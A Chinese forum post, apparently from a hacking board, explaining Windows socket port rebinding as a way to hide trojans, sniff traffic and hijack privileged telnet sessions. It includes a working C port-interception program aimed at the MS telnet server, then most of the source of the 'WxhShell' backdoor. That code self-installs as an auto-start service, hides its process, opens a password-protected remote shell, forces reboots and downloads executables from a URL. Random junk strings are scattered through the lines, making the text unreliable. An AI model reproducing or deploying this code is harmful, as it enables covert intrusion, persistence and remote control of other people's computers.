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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /{`"X_.o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d,^ZH  
{pH#zs4Y  
  saddr.sin_family = AF_INET; *E/ Mf  
~WTkX(\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8ta @@h  
_qf39fM;\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /q\e&&e  
~a[ /l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bA,Zfsr6#  
z2t+1 In,  
  这意味着什么?意味着可以进行如下的攻击: hXth\e\[{`  
 19]19_-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0&|0l>wy.  
N10U&L'w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &l7E|.JE  
0y,w\'j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5 | ,b  
I/tMFg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ap )B%9  
rkR5>S( 2M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D0xQXC3$`  
qjhV/fsfb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F/BR#J1  
{CI4AT!?W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $'3xl2T  
u-,}ug|  
  #include lTqlQ<`V  
  #include DbH;DcV7  
  #include eIalcBY  
  #include    [Cv./hEQi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uO LShNo  
  int main() <C&|8@A0  
  { N4C7I1ihq  
  WORD wVersionRequested; =n"kgn  
  DWORD ret; |EX=Rj*  
  WSADATA wsaData; bg-/ 8,  
  BOOL val; .7^(~&5N  
  SOCKADDR_IN saddr; ]<f(@]R/d  
  SOCKADDR_IN scaddr; /m"/#; ^l  
  int err; <A)M^,#o  
  SOCKET s; *PnO$q@`  
  SOCKET sc; 8]&:'  
  int caddsize; T8z?_ *k  
  HANDLE mt; }Cu[x'J  
  DWORD tid;   RSym9t90t  
  wVersionRequested = MAKEWORD( 2, 2 ); UTyV6~  
  err = WSAStartup( wVersionRequested, &wsaData ); hk4t #Km  
  if ( err != 0 ) { 8i`>],,ch  
  printf("error!WSAStartup failed!\n"); ( ~5 M{Xh  
  return -1; zVw5(Tc  
  } \OVtvJV]  
  saddr.sin_family = AF_INET; `R8&(kQ  
   A,DBq9Z+4R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e9h@G#  
s/IsrcfM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $!.>)n  
  saddr.sin_port = htons(23); c]ARgrH-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F =e9o*z  
  { 1]2]l*&3  
  printf("error!socket failed!\n"); /VT/KT{  
  return -1; -Y/i h(I^  
  } O+=%Mz(l  
  val = TRUE; 4kM/`g6?,q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U*$P"sS`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xrg?{*\  
  { Y)X7*iTi'j  
  printf("error!setsockopt failed!\n"); E@ U]k$M  
  return -1; B{j><u xl  
  } X"r)zCP+t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; EYq?NL='  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6^] |  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <@-O 06  
8O,\8:I#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Yao}Xo9}  
  { f?sm~PwC-  
  ret=GetLastError(); R}Lk$#S#  
  printf("error!bind failed!\n"); >J:=)1`  
  return -1; 4Lt9Dx1  
  } 1^WGJ"1  
  listen(s,2); )FQ"l{P  
  while(1) @=VxW U  
  { M-"j8:en  
  caddsize = sizeof(scaddr); f"5O'QHGQK  
  //接受连接请求 LN5LT'CE   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b]4dmc*N+  
  if(sc!=INVALID_SOCKET) MJ)lZ!KZ  
  { #4'wF4DR@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pd'0|  
  if(mt==NULL) K4!-%d$  
  { E?XaU~cpc  
  printf("Thread Creat Failed!\n"); QPx5`{nN  
  break; %vJHr!x  
  } "17)`Yf  
  } f)/Z7*Z  
  CloseHandle(mt); OT])t<TF6  
  } +{I_%SsG  
  closesocket(s); +H2Jhgi  
  WSACleanup(); Y7}>yC/GY  
  return 0; :G1ddb&0+  
  }   ?J\&yJ_B  
  DWORD WINAPI ClientThread(LPVOID lpParam) :]-oo*xP  
  { sW]^YT>?  
  SOCKET ss = (SOCKET)lpParam; -XV,r<''  
  SOCKET sc; +'?Qph6o,7  
  unsigned char buf[4096]; {q0+PzgP  
  SOCKADDR_IN saddr; u< BU4c/p  
  long num; -&8( MT*  
  DWORD val; nHm}^.B*+  
  DWORD ret; `$6o*g>:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &n  k)F<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Lj1l ]OD  
  saddr.sin_family = AF_INET; ;?2)[a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cJ96{+  
  saddr.sin_port = htons(23); p`Pa;=L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~$HB}/  
  { O^@8Drgc  
  printf("error!socket failed!\n"); x4'@U<  
  return -1; 7s|'NTp  
  } I@'[>t  
  val = 100; g<:Lcg"u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JY0aE  
  { >H;i#!9,  
  ret = GetLastError(); ")|/\ w,  
  return -1; \HeJc:^  
  } +94)BxrY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &bsq;)wzs  
  { +lym8n~-O  
  ret = GetLastError(); cfLLFPhv)  
  return -1; XNYA\%:5S  
  } 1X?ro;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .Mq#88o.*  
  { #aP#r4$  
  printf("error!socket connect failed!\n"); 4 mX(.6  
  closesocket(sc); _gT65G~z  
  closesocket(ss); W>@ti9\t  
  return -1; jdxHWkQ   
  } TrjyU  
  while(1) Lzh8-d=HQ  
  { xE1?)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bwsKdh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uk):z$ x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H bKE;N  
  num = recv(ss,buf,4096,0); +MoUh'/u  
  if(num>0) <|Td0|x _q  
  send(sc,buf,num,0);  >;fVuy  
  else if(num==0) sU_K^=6*  
  break; 5PeS/%uT@  
  num = recv(sc,buf,4096,0); ;,4*uU'vq  
  if(num>0) }%< ?]  
  send(ss,buf,num,0); D p'urf\*$  
  else if(num==0) BPY7O  
  break; ;KL7SM%g4  
  } D#g -mqar:  
  closesocket(ss); @Kpm&vd(  
  closesocket(sc); ; vH2r~  
  return 0 ; 0]DOiA  
  } #dauXUKH  
kuEXNi1l  
`a83RX_\  
========================================================== n2U &}O  
4>gfLK\R:  
下边附上一个代码,,WXhSHELL 1b5Z^a<u  
&tyS6S+  
========================================================== (t4i&7-  
Oyl~j #h  
#include "stdafx.h" B"^j>SF  
6$`<Y?  
#include <stdio.h> [EAOk=X  
#include <string.h>  0,Ds1y^  
#include <windows.h> iM]O  
#include <winsock2.h> q7B5#kb  
#include <winsvc.h> 7+jxf[(XQ  
#include <urlmon.h> Wg-mJu(  
r&u1-%%9[  
#pragma comment (lib, "Ws2_32.lib") uzd7v,  
#pragma comment (lib, "urlmon.lib") PucNu8   
QK-aH1r  
#define MAX_USER   100 // 最大客户端连接数 W5|{A])N  
#define BUF_SOCK   200 // sock buffer a"#t'\  
#define KEY_BUFF   255 // 输入 buffer ;d?BVe?  
Xb _ V\b0  
#define REBOOT     0   // 重启 fv;Q*; oC&  
#define SHUTDOWN   1   // 关机 Hg#t SE  
c1H.v^Y5  
#define DEF_PORT   5000 // 监听端口 V+gZjuN$  
{]CZgqE{  
#define REG_LEN     16   // 注册表键长度 vt EfH  
#define SVC_LEN     80   // NT服务名长度 46?z*~*G  
W{,fpm  
// 从dll定义API Hv/C40uM-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K; #FU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m<gdyY   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }+,Q&]>~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1c$pz:$vX  
BtJkvg(2]  
// wxhshell配置信息 l)u%`Hcn  
struct WSCFG { |IAx!Z-P  
  int ws_port;         // 监听端口 ndSu-8?L  
  char ws_passstr[REG_LEN]; // 口令 CsR[@&n'  
  int ws_autoins;       // 安装标记, 1=yes 0=no mF6-f#t>H+  
  char ws_regname[REG_LEN]; // 注册表键名 6uRE9h|  
  char ws_svcname[REG_LEN]; // 服务名 3D|Lb]=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HSruue8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RoqkT|#$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UylIxd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !yNU-/K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (hc!!:N~q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1mFH7A($  
'(]Wtx%9"  
}; ,N$Q']Td  
NEBhVh  
// default Wxhshell configuration Qf:e;1F!  
struct WSCFG wscfg={DEF_PORT, c&c  
    "xuhuanlingzhe", S>lP?2J  
    1, *l7 `C)  
    "Wxhshell", P]+B}))  
    "Wxhshell", X@~/.H5  
            "WxhShell Service", pSx5ume95"  
    "Wrsky Windows CmdShell Service", lxn/97rA  
    "Please Input Your Password: ", "im5Fnu  
  1,  exWQ~&  
  "http://www.wrsky.com/wxhshell.exe", 1j2U,_-  
  "Wxhshell.exe" S'x ]c#  
    }; iM .yen_vp  
VwR\"8r3  
// 消息定义模块 $WYt`U;*lj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ekx(i QA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [if(B\&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `xM*cJTZ  
char *msg_ws_ext="\n\rExit."; G4 7^xR  
char *msg_ws_end="\n\rQuit."; w,1N ;R&  
char *msg_ws_boot="\n\rReboot..."; 9SC1A-nF  
char *msg_ws_poff="\n\rShutdown..."; d V%o:@Z  
char *msg_ws_down="\n\rSave to "; XfcYcN  
f1NHW|_j  
char *msg_ws_err="\n\rErr!"; wBt7S!>G  
char *msg_ws_ok="\n\rOK!"; |q4=*Xq  
CI*JedO]  
char ExeFile[MAX_PATH]; 0Gu77&  
int nUser = 0; A rE~6X  
HANDLE handles[MAX_USER]; EW$drY@  
int OsIsNt; Uz;^R@  
Q<>u) %92@  
SERVICE_STATUS       serviceStatus; /  Xnq0hN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; or-k~1D  
$HwF:L)*  
// 函数声明 ]ZLF=  
int Install(void); O72g'qFPE  
int Uninstall(void); 5Sl"1HL  
int DownloadFile(char *sURL, SOCKET wsh); -zECxHj x  
int Boot(int flag); CH7a4qL`  
void HideProc(void); W=Syo&;F8  
int GetOsVer(void); Bo:epus}\  
int Wxhshell(SOCKET wsl); -w+.'  
void TalkWithClient(void *cs); J>X@g;  
int CmdShell(SOCKET sock); 0LW3VfvToN  
int StartFromService(void); u?>},M/  
int StartWxhshell(LPSTR lpCmdLine); qiOtbH=  
 %LnLB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >V.?XZ nt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 33%hZ`/>  
KXMf2)pa  
// 数据结构和表定义 ^Zl[#:EFP  
SERVICE_TABLE_ENTRY DispatchTable[] = /CALX wL  
{ YusmMsN?  
{wscfg.ws_svcname, NTServiceMain}, MTt8O+J?P~  
{NULL, NULL} vU *: M8k  
}; K^x{rn.Zf  
Bc!<!  
// 自我安装  +At [[  
int Install(void) *6JA&zj0B  
{ 3MX#}_7A  
  char svExeFile[MAX_PATH]; Z +/3rd  
  HKEY key; c RI2$|  
  strcpy(svExeFile,ExeFile); 4+8)0;<H  
S^R dj ]  
// 如果是win9x系统,修改注册表设为自启动 @ws&W=NQ  
if(!OsIsNt) { JQb{?C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e=XP4h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e&ti(Q=  
  RegCloseKey(key); Ft;x@!h%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uou "s9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z7wl~Hk  
  RegCloseKey(key); rFcz 0  
  return 0; _"*vj-{-y  
    } |i B#   
  } 8Z}%,G*n  
} fFEB#l!oUb  
else { [cDkmRV  
o0AT&<K  
// 如果是NT以上系统,安装为系统服务 +M.BMS2A<l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5_A*I C]  
if (schSCManager!=0) N/>:})dav  
{ ~ !ei]UP  
  SC_HANDLE schService = CreateService FVNTE +LW  
  ( S/Ic=  
  schSCManager, lDBAei3iB  
  wscfg.ws_svcname, YuuTLX%3  
  wscfg.ws_svcdisp, \e'Vsy>q  
  SERVICE_ALL_ACCESS, (Jb#'(~a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +Zi+ /9Z(H  
  SERVICE_AUTO_START, g mWwlkf9  
  SERVICE_ERROR_NORMAL, = y^5PjN  
  svExeFile, o(}%b8 K  
  NULL, C D6N8n]  
  NULL, kjQW9QJ<  
  NULL, &qY]W=9uK  
  NULL, F<h+d917  
  NULL (k+*0.T&?  
  ); 1q=Q/L4P  
  if (schService!=0) _{):w~zi  
  { "+2Cs  
  CloseServiceHandle(schService); ,e|"p[z ~T  
  CloseServiceHandle(schSCManager); B0 A`@9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z\FBN=54z  
  strcat(svExeFile,wscfg.ws_svcname); 4'3;{k$z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0"j:-1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %4` U' j  
  RegCloseKey(key); O\uIIuy  
  return 0; tvn o3"  
    } P cbhylKd  
  } .dYv.[?hL  
  CloseServiceHandle(schSCManager); (z;lNl(*C  
} R68:=E4  
} .[eC w  
,^n&Q'p3  
return 1; 6? lAbW  
} -vm1xp$  
@=z.^I30  
// 自我卸载 wIAH,3!  
int Uninstall(void) !m))Yp-"H  
{ N,B!D~@  
  HKEY key; q%M~gp1  
]}Ys4(}  
if(!OsIsNt) { 7V@r^/`8N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?zP 2   
  RegDeleteValue(key,wscfg.ws_regname); t+d7{&B  
  RegCloseKey(key); |d~'X%b%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M^OYQf  
  RegDeleteValue(key,wscfg.ws_regname); rF}Q(<Y86  
  RegCloseKey(key); U<F|A!Fg  
  return 0; 6.tA$#6HP  
  } gT=pO`a  
} zqt%x?l  
} 3H<%\SYp  
else { myVa5m!7Q  
{d#sZT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C}uzzG6s  
if (schSCManager!=0) 4dN <B U  
{ T)<^S(5 7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9BlpqS:P&  
  if (schService!=0) :!cK?H$+  
  { A[@koLCL  
  if(DeleteService(schService)!=0) { `e;r$Vpd_  
  CloseServiceHandle(schService); *otgI"y\  
  CloseServiceHandle(schSCManager); +qpG$#J0  
  return 0; J9;fqQCt  
  } du'`&{_/  
  CloseServiceHandle(schService); ' A+L #  
  } PPy~dp  
  CloseServiceHandle(schSCManager); YH+(N  
} Uu*iL< `  
} &Qv HjjQ?u  
(#6Fg|f4Y  
return 1; aeNbZpFQ  
} c zT2f  
o+8H:7,o'  
// 从指定url下载文件 o,?G(  
int DownloadFile(char *sURL, SOCKET wsh) =rZ'!Pa  
{ PPFt p3C  
  HRESULT hr; !#%>,X#+  
char seps[]= "/"; }8YY8|]LI  
char *token; / ~".GZ&29  
char *file; <-' !I&  
char myURL[MAX_PATH]; s8's(*]  
char myFILE[MAX_PATH]; )2l @%?9  
Y j bp:  
strcpy(myURL,sURL); wC%qSy'  
  token=strtok(myURL,seps); y'b*Dk{  
  while(token!=NULL) 6`6 / 2C$%  
  { %rhZH^2  
    file=token; iF +@aA  
  token=strtok(NULL,seps); }=\?]9`  
  } CV=qcD  
f|_\GVW  
GetCurrentDirectory(MAX_PATH,myFILE); "l-#v| 54  
strcat(myFILE, "\\"); WcT= 5G  
strcat(myFILE, file); u23_*W\  
  send(wsh,myFILE,strlen(myFILE),0); x'\C'zeF  
send(wsh,"...",3,0); g yV>k=B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'wYIJK~1  
  if(hr==S_OK) /TPtPq<7:#  
return 0; N.q*jY= X|  
else k18v{)i~  
return 1; JF~9efWe>  
6jBi?>[I  
} o o'7  
|/xx**?  
// 系统电源模块 uh.;Jj;  
int Boot(int flag) U/A iI;Ne  
{ \\13n4fAv  
  HANDLE hToken; _x""-X~OL  
  TOKEN_PRIVILEGES tkp; sG_/E-%5'  
EN[T3 Y  
  if(OsIsNt) { } LC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2ry@<88  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <'UGYY\wg0  
    tkp.PrivilegeCount = 1; J;^PM:6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %GY'pQz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); })70S8k  
if(flag==REBOOT) { [[^95:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :] U\{;q2  
  return 0; ,YvOk|@R  
} /i27F2NQm  
else { Nc4;2~XwRp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h/|p`MP\1  
  return 0; Pf,@U'f|  
} d8agM/F*/  
  } 6| B9kh}  
  else { 1,) yEeHjU  
if(flag==REBOOT) { >w7KOVbN3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^<-r57pz  
  return 0; @q>Hl`a  
} M!i|,S  
else { \5!7zPc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BK=w'1U  
  return 0; ToPjB vD  
} "OwVCym?  
} a,S;JF)v  
<>{m+=gA  
return 1; MYjc6@=cR  
} ojlyW})$%  
*-5N0K<kQ  
// win9x进程隐藏模块 Q0K$ZWM`7  
void HideProc(void) .?QYqGcG  
{ dTK0lgkUE  
%>=6v} f,+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P[G>uA>Z1  
  if ( hKernel != NULL ) #>bj6<  
  { :EQ{7Op`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7_ayn#;y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p)iEwl}!j  
    FreeLibrary(hKernel); 0'Ho'wDb  
  } 7pY :.iVO  
 `ROHB@-  
return; 6uo;4}0  
} n}A!aC  
Mhti  
// 获取操作系统版本 300w\9fn&  
int GetOsVer(void) VSDua.  
{ 2 HQ3G~U  
  OSVERSIONINFO winfo; 0stc$~~v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HrsG^x  
  GetVersionEx(&winfo); #L+:MA7H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h,m 90Hd+  
  return 1; r <5}& B`  
  else 1VM2CgRa  
  return 0; 9!uiQ  
} kq5X<'MM9N  
P* `*^r3  
// 客户端句柄模块 1,;X4/*  
int Wxhshell(SOCKET wsl) p+V#86(3  
{ J,CwC)  
  SOCKET wsh; \|{/.R  
  struct sockaddr_in client; rfEWh Vy(}  
  DWORD myID; f!#!  
%Rn*oV  
  while(nUser<MAX_USER) S=mqxIo@m  
{ m!%aB{e  
  int nSize=sizeof(client); thJ~* 0^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6u+aP  
  if(wsh==INVALID_SOCKET) return 1; I6f/+;E  
m]AT-]*f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ed q,:  
if(handles[nUser]==0) OQKeU0v  
  closesocket(wsh); rT/r"vr  
else "hf |7E_  
  nUser++; ]9y\W}j  
  } q iOJ:'@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [MFnS",7c  
s||" } l  
  return 0; :NF4[c  
} ,?|$DY+=  
OA[e}Vn  
// 关闭 socket WrGnLE kiV  
void CloseIt(SOCKET wsh) Mq Ai}z%  
{ vW=L{8zu  
closesocket(wsh); 2Ckx.m&  
nUser--; H TOr  
ExitThread(0); &2`p#riAS  
} ~pQN#C)CO>  
R^*baiXVI  
// 客户端请求句柄 yk`qF'4]  
void TalkWithClient(void *cs) A<X?1$  
{ aE`d[d SG  
ccHf+=  
  SOCKET wsh=(SOCKET)cs; ~_D.&-xUF  
  char pwd[SVC_LEN]; O1z]d3x  
  char cmd[KEY_BUFF]; aZWj52  
char chr[1]; ~Ba=nn8Cq  
int i,j; W}CM;~*L  
uX6yhaOp|  
  while (nUser < MAX_USER) { LTTMa-]Yy  
fgdR:@]-  
if(wscfg.ws_passstr) { wu)+n\mt'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EsMX #1>/m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  -BSdrP|  
  //ZeroMemory(pwd,KEY_BUFF); v4n< G-  
      i=0; Vb (b3  
  while(i<SVC_LEN) { r0XEB,}  
Db,"Gl  
  // 设置超时 -^xbd_'  
  fd_set FdRead; @x}"aJgl  
  struct timeval TimeOut; kyJbV[o<#  
  FD_ZERO(&FdRead); "Wwu Ty|  
  FD_SET(wsh,&FdRead); DW. w=L|5R  
  TimeOut.tv_sec=8; RSp wU;o6z  
  TimeOut.tv_usec=0; .$18%jH#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $8=|<vt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); } a9Ah:.7/  
R c+olJ^5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T- en|.  
  pwd=chr[0]; ^viabkf C  
  if(chr[0]==0xd || chr[0]==0xa) { _p-e)J$7  
  pwd=0; _B0(1(M<2  
  break; \wK&wRn)  
  } f"ndLX:'}  
  i++; q!ZM Wg  
    } |58HPW9  
!ZYPz}&N_  
  // 如果是非法用户,关闭 socket `x[Is$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6O7s^d&K  
} Wo 1x ZZ  
=SfNA F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s<s}6|Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8=`L#FkRp  
).SJ*Re*^I  
while(1) { k QuEG5n.-  
R~\R>\  
  ZeroMemory(cmd,KEY_BUFF); Jb QK$[z"  
ZZY#.  
      // 自动支持客户端 telnet标准   K~TwyB-h  
  j=0; e&}W#  
  while(j<KEY_BUFF) { IfK~~XYG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =-h^j  
  cmd[j]=chr[0]; Y[{:?i~9,  
  if(chr[0]==0xa || chr[0]==0xd) { Ie.*x'b?y  
  cmd[j]=0; AW]\n;f  
  break; D.K""*ula  
  } \MP~}t}c  
  j++; W [ l  
    } .XJ'2yKof  
7n7Xyb  
  // 下载文件 )+G"57p  
  if(strstr(cmd,"http://")) { vMTf^V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q(bOar5  
  if(DownloadFile(cmd,wsh)) {R}F4k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DB/~Z  
  else mmTpF]t ?`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Sx|n}a-3  
  } z'YWomfZm  
  else { ,;$OaJFT  
p F-Lz<V  
    switch(cmd[0]) { 1q6)R/P  
  jn<?,UABD  
  // 帮助 uX_H;,n  
  case '?': { o(*\MT t?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `6Bx8CZ'I  
    break; x4MmBVqp  
  } 5h5izA'0'  
  // 安装 v e&d"8+]  
  case 'i': { 7>N~l  
    if(Install())  /8x';hQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); azPH~' E'  
    else  {^N,=m\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u8Ys2KLpL  
    break; 2n<Mu Q]  
    } Qs&;MW4q  
  // 卸载 G4* LO  
  case 'r': { m\&|#yq  
    if(Uninstall()) 2u3Kyn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K10G+'H^  
    else p='j/=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ruQx)5M  
    break; Aa ~W,  
    } (95|DCL  
  // 显示 wxhshell 所在路径 # T=iS(i  
  case 'p': { Tagf7tw4  
    char svExeFile[MAX_PATH]; 'C]w3Rh'  
    strcpy(svExeFile,"\n\r"); xl&@g)Jj  
      strcat(svExeFile,ExeFile); EXDDUqZ5\  
        send(wsh,svExeFile,strlen(svExeFile),0); L&pR#  
    break; Ku(YTXtK  
    } 1d5%(:@  
  // 重启 /2tA n  
  case 'b': { %*R, ceuI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EF0v!XW  
    if(Boot(REBOOT)) giakEPl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YYWD\Y`8  
    else { >mb}~wx`  
    closesocket(wsh); F&d!fEHU  
    ExitThread(0); U=Ps#  
    } .j]tzX  
    break; j4$nr=d.6  
    } PLCm\Oh$l  
  // 关机 GA^hev  
  case 'd': { ? i{?Q,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aI=p_+.h  
